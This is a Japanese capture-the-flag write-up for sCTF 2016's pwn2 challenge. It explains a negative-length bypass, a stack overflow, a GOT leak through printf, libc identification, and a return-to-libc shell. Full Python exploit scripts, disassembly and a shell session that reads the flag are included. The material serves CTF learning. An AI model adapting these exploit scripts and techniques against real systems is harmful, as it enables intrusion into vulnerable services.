sCTF 2016 Q1 writeup
sCTF 2016 Q1
いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.
pwn2
接続しにいくと
How many bytes do you want me to read?
と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,
8048541: c7 44 24 04 04 00 00 mov DWORD PTR [esp+0x4],0x4 8048548: 00 8048549: 8d 45 d4 lea eax,[ebp-0x2c] 804854c: 89 04 24 mov DWORD PTR [esp],eax 804854f: e8 8f ff ff ff call 80484e3 <get_n> 8048554: 8d 45 d4 lea eax,[ebp-0x2c] 8048557: 89 04 24 mov DWORD PTR [esp],eax 804855a: e8 61 fe ff ff call 80483c0 <atoi@plt> 804855f: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048562: 83 7d f4 20 cmp DWORD PTR [ebp-0xc],0x20 # <= 8048566: 7e 15 jle 804857d <vuln+0x4e>
といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.
How many bytes do you want me to read? -1 Ok, sounds good. Give me 4294967295 bytes of data!
ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 filesz 0x00000000 memsz 0x00000000 flags rw-
色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.
まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.
printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して,
戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.
---------------------------------- printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分 ---------------------------------- printf@plt 実行後の戻りアドレス ---------------------------------- printf 実行時の書式文字列 ---------------------------------- 書式文字列で表示する内容のアドレス ----------------------------------
printf@plt のアドレスは objudmp するとすぐに見つかる.
$ objdump -M intel -d pwn2 | grep "printf@plt" 08048360 <printf@plt-0x10>: 08048370 <printf@plt>:
次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.
(gdb) x/s 0x80486f8 0x80486f8: "You said: %s\n"
そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24>
以上をまとめると,構成するスタックは以下となる.
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(unused) buf += 'AAAA' # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: ??? msg = s.recv(1024).strip() print msg.encode('hex')
これを実行すると…
$ python pwn2_leak.py 596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7
これだけではわけがわからないので部分ごとに切り分ける.
596f7520736169643a20 # "You said: " 800266b7 a0a467b7 96830408 90c962b7 308d67b7 604864b7
当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24> 08048380 <getchar@plt>: 8048380: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 8048386: 68 08 00 00 00 push 0x8 804838b: e9 d0 ff ff ff jmp 8048360 <_init+0x24> 08048390 <__gmon_start__@plt>: 8048390: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014 8048396: 68 10 00 00 00 push 0x10 804839b: e9 c0 ff ff ff jmp 8048360 <_init+0x24> 080483a0 <__libc_start_main@plt>: 80483a0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018 80483a6: 68 18 00 00 00 push 0x18 80483ab: e9 b0 ff ff ff jmp 8048360 <_init+0x24> 080483b0 <setvbuf@plt>: 80483b0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c 80483b6: 68 20 00 00 00 push 0x20 80483bb: e9 a0 ff ff ff jmp 8048360 <_init+0x24> 080483c0 <atoi@plt>: 80483c0: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020 80483c6: 68 28 00 00 00 push 0x28 80483cb: e9 90 ff ff ff jmp 8048360 <_init+0x24>
となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった.
つまり先ほどの出力結果は,
596f7520736169643a20 # "You said: " 800266b7 # printf@got a0a467b7 # getchar@got 96830408 # __gmon_start__@got 90c962b7 # __libc_start_main@got 308d67b7 # setvbuf@plt 604864b7 # atoi@got
といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,
libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,
atoi libc_base + 0x00031860
"0xb7644860" - "0x00031860" が libc のベースアドレスになる.
ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.
---------------------------------- system 関数のアドレス ---------------------------------- 戻りアドレス(なんでもいい) ---------------------------------- "/bin/sh\0" へのアドレス ----------------------------------
というわけで, exploit のコードを書いてみる.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) libc_base = 0xb7644860 - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024)
実行する.
$ python exploit.py $ ls -l
あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.
最終的に書いたコードは以下.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(vuln()) buf += p(0x804852f) # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: (printf@got,getchar@got,... addrres) msg = s.recv(1024).strip() print "printf@got: " + hex(u(msg[10:14])) print "getchar@got: " + hex(u(msg[14:18])) print "__gmon_start__@got: " + hex(u(msg[18:22])) print "__libc_start_main@got: " + hex(u(msg[22:26])) print "setvbuf@got: " + hex(u(msg[26:30])) print "atoi@got: " + hex(u(msg[30:34])) print "=" * 30 # search: http://libcdb.com/ # result: http://libcdb.com/libc/92 # atoi: libc_base + 0x00031860 libc_base = u(msg[30:34]) - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 print "libc_base addr: " + hex(libc_base) print "system addr" + hex(system_addr) print "/bin/sh addr: " + hex(bin_sh_addr) print "=" * 30 ## S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024) print "$ cat flag.txt" s.send("cat flag.txt\n") print s.recv(1024)
実行すると,
$ python pwn2_exploit.py printf@got: 0xb7630280 getchar@got: 0xb764a4a0 __gmon_start__@got: 0x8048396 __libc_start_main@got: 0xb75fc990 setvbuf@got: 0xb7648d30 atoi@got: 0xb7614860 ============================== libc_base addr: 0xb75e3000 system addr0xb7623190 /bin/sh addr: 0xb7743a24 ============================== $ ls -l total 12 -r--r----- 1 root pwn2 24 Apr 7 23:08 flag.txt -r-xr-x--- 1 root pwn2 7553 Apr 9 01:16 pwn2 $ cat flag.txt sctf{r0p_70_th3_f1n1sh}
フラグ sctf{r0p_70_th3_f1n1sh}
をとれた.